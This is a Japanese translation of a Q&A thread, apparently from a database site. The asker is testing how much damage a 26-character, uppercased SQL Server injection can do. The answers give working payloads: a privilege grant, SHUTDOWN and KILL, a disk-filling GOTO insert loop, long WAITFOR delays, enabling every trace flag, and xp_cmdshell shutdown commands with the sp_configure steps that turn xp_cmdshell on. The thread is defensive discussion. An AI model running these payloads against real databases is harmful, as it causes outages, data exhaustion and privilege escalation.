web-dev-qa-db-ja.com

SQL Serverインジェクション-26文字でどのくらいのダメージがありますか?

SQL Serverデータベースへのインジェクション攻撃に対する回復力をテストしています。

データベース内のすべてのテーブル名は小文字であり、照合では大文字と小文字が区別されますLatin1_General_CS_AS

送信できる文字列は強制的に大文字にされ、長さは最大26文字です。したがって、DROP TABLEで送信することはできません。テーブル名が大文字になるため、照合のためにステートメントが失敗するためです。

だから-26文字で私ができる最大のダメージは何ですか?

編集

私はパラメーター化されたクエリなどについてすべて知っています。送信するクエリを作成するフロントエンドを開発した人が、この場合paramsを使用しなかったとしましょう。

また、私は悪質なことをしようとはしていません。これは、同じ組織内の他の誰かが構築したシステムです。

21
Alan B

簡単:

GRANT EXECUTE TO LowlyDBA

または、この場合はそうなると思います

grant execute to lowlydba 

これのバリエーションを選んでください。

おそらく現在、これを現在のシステムに対してテストできるかもしれませんが、時間の経過に伴うデータベースの小さな変更がいくつあっても、テストは無効になる可能性があります。文字列が変更されたり、破壊的な可能性がある小文字のストアドプロシージャが作成されたりする可能性があります。 100%の自信を持って、誰かが構築できる26文字の破壊的な攻撃がないとは決して言えません。

開発者にbasic業界標準の最良のセキュリティプラクティスに従う方法を見つけることをお勧めします。これは、セキュリティ侵害が発生した場合に少なくとも部分的に責任があると私が推測している誰かのためにのみです。

編集:

そして、悪意/楽しみのために、everyトレースフラグを有効にしてみてください。これは注目に値します。ブレントオザールが作るブログ記事のように感じます...

DBCC TRACEON(xxxx, -1)
39
LowlyDBA

SHUTDOWN コマンドまたは KILL コマンド(50を超える乱数を選択)はどちらも26文字よりも大幅に少ないアプリケーションクエリには、これらを実行するための十分な権限がないことが望まれます。

22
Martin Smith

テーブルを作成して、時間の終わりまで、またはディスク容量が不足するまでのいずれか早い方まで埋めることができます。

declare @S char(26);

set @S = 'create table t(c char(99))';
exec (@S);

set @S = 'insert t values('''')'
exec (@S);

set @S = 'insert t select c from t'
exec (@S);
exec (@S);
exec (@S);
exec (@S);
-- etc
14
Mikael Eriksson

損傷の定義に応じて、これを実行できます。WAITFOR DELAY '23:59 '本当に悪ければ、負荷テストツールを使用して32,768クライアントから実行できます。

4
user143642

最初のコメントに対する@MikaelErikssonの回答と@MartinSmithの回答に基づくバリエーション:

declare @S char(26);

set @S = 'create table x(i int)';
exec (@S);

最初はWHILEステートメントを実行しようとしましたが、最善の方法は27文字でした。

set @S = 'while 1=1 insert t select 0'; -- fails at 27 characters
exec (@S);

しかしマーティンはGOTOを指摘しました:

set @S = 'x:insert t select 0 GOTO x';
exec (@S);

GOTO ...すべての悪の根源であり、26文字の無限ループ挿入ステートメントの作成者です。

とはいえ、より多くのスペースを使用するため、intではなくCHAR(99)を使用する方が有利な場合があります。他のオプションでは、長い名前を使用して26文字の制限を打ち破るか、または行あたりのストレージ領域を少なくします。

完全なテストコード:

declare @S char(26);
set @S = 'drop table t;';
exec (@S);
GO

declare @S char(26);

set @S = 'create table t(c CHAR(99))';
exec (@S);

set @S = 'x:insert t select 0 GOTO x';
exec (@S);
GO
3
WernerCD
XP_CMDSHELL 'SHUTDOWN -PF'

パワーダウンがどれほどのダメージを与えるかによって異なります。 :-)

これには、サーバーでxp_cmdshellを有効にする必要があります。これは、SQL Serverの最後のいくつかのバージョンには当てはまりません。また、サービスアカウントにはシャットダウンの権利が必要です。

Xp_cmdshellを有効にすると、26文字の制限を超える可能性があります。複数回の注射を許可しますか?

SP_CONFIGURE 'SHOW ADV',1

RECONFIGURE

SP_CONFIGURE 'XP', 1

RECONFIGURE
0